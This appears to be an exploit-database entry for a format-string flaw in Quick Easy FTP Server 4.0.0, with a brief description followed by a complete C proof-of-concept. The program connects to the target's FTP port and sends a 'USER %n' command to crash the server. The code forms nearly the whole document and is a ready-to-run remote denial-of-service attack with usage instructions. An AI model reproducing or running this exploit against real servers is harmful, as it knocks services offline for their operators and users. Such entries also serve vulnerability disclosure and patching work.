# Exploit Title: Quick easy ftp server 4.0.0 USER command format string Vulnerability # Date: [date] # Vendor or Software Link:google can help you.^_^ # Version: 4.0 other mybe effected also # Category:: [remote] # Tested on: win2k sp4 (cn) Description: Quick easy ftp server din't check the format string used in wsprintfA,But I the buffer is too small so I think exploit it is difficult。I use the format string "%n" to crash the program,make a dos attack。 #include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize); int main(int argc, char* argv[]) { if(argc != 2) { printf("Quick easy ftp server 4.0.0 USER命令格式化串漏洞(D.O.S) POC\r\n"); printf("contact: ylbhz@hotmail.com\r\n"); printf("C:\\>exp [ip address]\r\n"); return 0; } char strHost[20] = {0}; strcpy(strHost, argv[1]); char lpBuf[] = "USER %n\r\n\r\n"; SendPayload(strHost, 21, lpBuf, lstrlenA(lpBuf)); return 0; } int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize) { SOCKET sock; struct sockaddr_in client; WSADATA wsa; printf("[*]Init socket...\r\n"); if(WSAStartup(MAKEWORD(2,2),&wsa) != 0) { printf("[-]WSAStartup Error!\r\n"); return -1; } try { client.sin_addr.S_un.S_addr = inet_addr(lpHost); client.sin_family = AF_INET; client.sin_port = htons(intPort); }catch(...) { printf("[-]socket_inaddr init error!\r\n"); return -1; } sock = socket(AF_INET,SOCK_STREAM,0); if(sock == SOCKET_ERROR) { printf("[-]socket create error!\r\n"); WSACleanup(); return -1; } printf("[+]Socket Init success!\r\n"); printf("[*]Connect the Server...\r\n"); if(connect(sock,(struct sockaddr *)&client,sizeof(client)) == SOCKET_ERROR) { printf("[-]Connect Error!\r\n"); closesocket(sock); WSACleanup(); return -1; } printf("[+]Connect successfull!\r\n"); printf("[*]Send Payload!\r\n"); int intLen = send(sock, lpPayload, intSize, 0); if(intLen <= 0) printf("[-]Send Payload Error!\r\n"); else printf("Send %d bytes\r\n", intLen); char strBuf[1024] = {0}; intLen = recv(sock, strBuf, 1024, 0); printf("[*]Close Socket!\r\n"); closesocket(sock); return 0; }